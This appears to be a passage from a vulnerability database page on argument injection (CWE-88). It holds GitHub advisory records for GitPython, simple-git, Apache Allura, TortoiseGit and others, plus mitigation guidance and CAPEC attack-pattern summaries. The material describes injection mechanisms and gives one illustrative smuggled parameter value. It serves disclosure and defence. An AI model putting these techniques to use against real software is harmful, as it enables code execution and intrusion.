"published": "2026-09-08T18:39:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78676"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3786.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE"
}
GHSA-287Q-RCXW-C7C5
Vulnerability from github – Published: 2025-08-27 15:33 – Updated: 2025-08-27 15:33Dell ThinOS 10, versions prior to 2508_10.0127, contains an Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') vulnerability. A local unauthenticated user could potentially exploit this vulnerability leading to Elevation of Privileges and Information disclosure.
{
"affected": [],
"aliases": [
"CVE-2025-43730"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-27T14:15:51Z",
"severity": "HIGH"
},
"details": "Dell ThinOS 10, versions prior to 2508_10.0127, contains an Improper Neutralization of Argument Delimiters in a Command (\u0027Argument Injection\u0027) vulnerability. A local unauthenticated user could potentially exploit this vulnerability leading to Elevation of Privileges and Information disclosure.",
"id": "GHSA-287q-rcxw-c7c5",
"modified": "2025-08-27T15:33:15Z",
"published": "2025-08-27T15:33:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43730"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000359619/dsa-2025-331"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-28XR-MWXG-3QC8
Vulnerability from github – Published: 2022-04-02 00:00 – Updated: 2022-10-13 15:14simple-git (maintained as git-js named repository on GitHub) is a light weight interface for running git commands in any node.js application.The package simple-git before 3.5.0 are vulnerable to Command Injection due to an incomplete fix of CVE-2022-24433 which only patches against the git fetch attack vector. A similar use of the --upload-pack feature of git is also supported for git clone, which the prior fix didn't cover. A fix was released in simple-git@3.5.0.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "simple-git"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-24066"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2022-04-04T21:59:51Z",
"nvd_published_at": "2022-04-01T20:15:00Z",
"severity": "HIGH"
},
"details": "`simple-git` (maintained as [git-js](https://github.com/steveukx/git-js) named repository on GitHub) is a light weight interface for running git commands in any node.js application.The package simple-git before 3.5.0 are vulnerable to Command Injection due to an incomplete fix of [CVE-2022-24433](https://security.snyk.io/vuln/SNYK-JS-SIMPLEGIT-2421199) which only patches against the git fetch attack vector. A similar use of the --upload-pack feature of git is also supported for git clone, which the prior fix didn\u0027t cover. A fix was released in simple-git@3.5.0.",
"id": "GHSA-28xr-mwxg-3qc8",
"modified": "2022-10-13T15:14:51Z",
"published": "2022-04-02T00:00:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24066"
},
{
"type": "WEB",
"url": "https://github.com/steveukx/git-js/commit/2040de601c894363050fef9f28af367b169a56c5"
},
{
"type": "WEB",
"url": "https://gist.github.com/lirantal/a930d902294b833514e821102316426b"
},
{
"type": "PACKAGE",
"url": "https://github.com/steveukx/git-js"
},
{
"type": "WEB",
"url": "https://github.com/steveukx/git-js/releases/tag/simple-git%403.5.0"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2434820"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-SIMPLEGIT-2434306"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Command injection in simple-git"
}
GHSA-298H-JPQ4-M665
Vulnerability from github – Published: 2026-08-19 15:32 – Updated: 2026-09-08 20:54Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-9rj7-rf2p-w77r. This link is maintained to preserve external references.
Original Description
GitPython before 3.1.58 contains a remote code execution vulnerability in Repo.init that forwards unsafe git options without validation. Attackers can supply a template parameter pointing to a directory with malicious git hooks that execute arbitrary code when git operations are performed on the initialized repository.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.1.57"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T20:54:02Z",
"nvd_published_at": "2026-08-19T14:17:48Z",
"severity": "HIGH"
},
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-9rj7-rf2p-w77r. This link is maintained to preserve external references.\n\n## Original Description\nGitPython before 3.1.58 contains a remote code execution vulnerability in Repo.init that forwards unsafe git options without validation. Attackers can supply a template parameter pointing to a directory with malicious git hooks that execute arbitrary code when git operations are performed on the initialized repository.",
"id": "GHSA-298h-jpq4-m665",
"modified": "2026-09-08T20:54:02Z",
"published": "2026-08-19T15:32:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-9rj7-rf2p-w77r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76218"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-repo-init"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: GitPython: Unguarded git option forwarding in Repo.init enables arbitrary command execution via --template clone hooks",
"withdrawn": "2026-09-08T20:54:02Z"
}
GHSA-29MG-2CR6-59XC
Vulnerability from github – Published: 2026-08-12 18:31 – Updated: 2026-08-13 18:31Specifically crafted inputs may lead to git argument injection in Apache Allura.
This issue affects Apache Allura: before 1.19.1.
Users are recommended to upgrade to version 1.19.1, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2026-73240"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-12T17:17:32Z",
"severity": "CRITICAL"
},
"details": "Specifically crafted inputs may lead to git argument injection in Apache Allura.\n\nThis issue affects Apache Allura: before 1.19.1.\n\nUsers are recommended to upgrade to version 1.19.1, which fixes the issue.",
"id": "GHSA-29mg-2cr6-59xc",
"modified": "2026-08-13T18:31:25Z",
"published": "2026-08-12T18:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73240"
},
{
"type": "WEB",
"url": "https://allura.apache.org/posts/2026-allura-1.19.1.html"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/10gnxblhomk2z4gxcyyb4t3p4zxsdddv"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/08/12/19"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2CG4-7Q4X-7RR2
Vulnerability from github – Published: 2022-08-11 00:00 – Updated: 2022-08-15 20:08All versions of package mc-kill-port are vulnerable to Arbitrary Command Execution via the kill function, due to missing sanitization of the port argument.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "mc-kill-port"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-25973"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2022-08-11T21:15:25Z",
"nvd_published_at": "2022-08-10T05:15:00Z",
"severity": "HIGH"
},
"details": "All versions of package mc-kill-port are vulnerable to Arbitrary Command Execution via the `kill` function, due to missing sanitization of the `port` argument.",
"id": "GHSA-2cg4-7q4x-7rr2",
"modified": "2022-08-15T20:08:52Z",
"published": "2022-08-11T00:00:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25973"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-MCKILLPORT-2419070"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/mc-kill-port"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "mc-kill-port vulnerable to Arbitrary Command Execution via kill function"
}
GHSA-2CX8-VQ8F-MWM5
Vulnerability from github – Published: 2022-05-24 16:44 – Updated: 2025-11-25 18:32A vulnerability was discovered where specific command line arguments are not properly discarded during Firefox invocation as a shell handler for URLs. This could be used to retrieve and execute files whose location is supplied through these command line arguments if Firefox is configured as the default URI handler for a given URI scheme in third party applications and these applications insufficiently sanitize URL data. Note: This issue only affects Windows operating systems. Other operating systems are unaffected.. This vulnerability affects Thunderbird < 60.6, Firefox ESR < 60.6, and Firefox < 66.
{
"affected": [],
"aliases": [
"CVE-2019-9794"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-04-26T17:29:00Z",
"severity": "CRITICAL"
},
"details": "A vulnerability was discovered where specific command line arguments are not properly discarded during Firefox invocation as a shell handler for URLs. This could be used to retrieve and execute files whose location is supplied through these command line arguments if Firefox is configured as the default URI handler for a given URI scheme in third party applications and these applications insufficiently sanitize URL data. *Note: This issue only affects Windows operating systems. Other operating systems are unaffected.*. This vulnerability affects Thunderbird \u003c 60.6, Firefox ESR \u003c 60.6, and Firefox \u003c 66.",
"id": "GHSA-2cx8-vq8f-mwm5",
"modified": "2025-11-25T18:32:15Z",
"published": "2022-05-24T16:44:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9794"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1530103"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2019-07"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2019-08"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2019-11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2H5C-F427-3WJR
Vulnerability from github – Published: 2026-06-24 12:30 – Updated: 2026-06-24 12:30Argument Injection in TortoiseGitBlame via Malicious Git History Filenames Leads to Arbitrary File Write in TortoiseGit
{
"affected": [],
"aliases": [
"CVE-2026-11968"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-24T10:17:19Z",
"severity": "MODERATE"
},
"details": "Argument Injection in TortoiseGitBlame via Malicious Git History Filenames Leads to Arbitrary File Write in TortoiseGit",
"id": "GHSA-2h5c-f427-3wjr",
"modified": "2026-06-24T12:30:31Z",
"published": "2026-06-24T12:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11968"
},
{
"type": "WEB",
"url": "https://gitlab.com/tortoisegit/tortoisegit/-/commit/7052e3ef61cd104f8a90fb3dcdfb403cbc8c1773"
},
{
"type": "WEB",
"url": "https://tortoisegit.org/issue/4269"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Parameterization
Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.
Mitigation
Strategy: Input Validation
Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
Mitigation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.
- Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
Mitigation
When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
Mitigation
When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
CAPEC-137: Parameter Injection
An adversary manipulates the content of request parameters for the purpose of undermining the security of the target. Some parameter encodings use text characters as separators. For example, parameters in a HTTP GET message are encoded as name-value pairs separated by an ampersand (&). If an attacker can supply text strings that are used to fill in these parameters, then they can inject special characters used in the encoding scheme to add or modify parameters. For example, if user input is fed directly into an HTTP GET request and the user provides the value "myInput&new_param=myValue", then the input parameter is set to myInput, but a new parameter (new_param) is also added with a value of myValue. This can significantly change the meaning of the query that is processed by the server. Any encoding scheme where parameters are identified and separated by text characters is potentially vulnerable to this attack - the HTTP GET encoding used above is just one example.
CAPEC-174: Flash Parameter Injection
An adversary takes advantage of improper data validation to inject malicious global parameters into a Flash file embedded within an HTML document. Flash files can leverage user-submitted data to configure the Flash document and access the embedding HTML document.
CAPEC-41: Using Meta-characters in E-mail Headers to Inject Malicious Payloads
This type of attack involves an attacker leveraging meta-characters in email headers to inject improper behavior into email programs. Email software has become increasingly sophisticated and feature-rich. In addition, email applications are ubiquitous and connected directly to the Web making them ideal targets to launch and propagate attacks. As the user demand for new functionality in email applications grows, they become more like browsers with complex rendering and plug in routines. As more email functionality is included and abstracted from the user, this creates opportunities for attackers. Virtually all email applications do not list email header information by default, however the email header contains valuable attacker vectors for the attacker to exploit particularly if the behavior of the email client application is known. Meta-characters are hidden from the user, but can contain scripts, enumerations, probes, and other attacks against the user's system.
CAPEC-460: HTTP Parameter Pollution (HPP)
An adversary adds duplicate HTTP GET/POST parameters by injecting query string delimiters. Via HPP it may be possible to override existing hardcoded HTTP parameters, modify the application behaviors, access and, potentially exploit, uncontrollable variables, and bypass input validation checkpoints and WAF rules.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.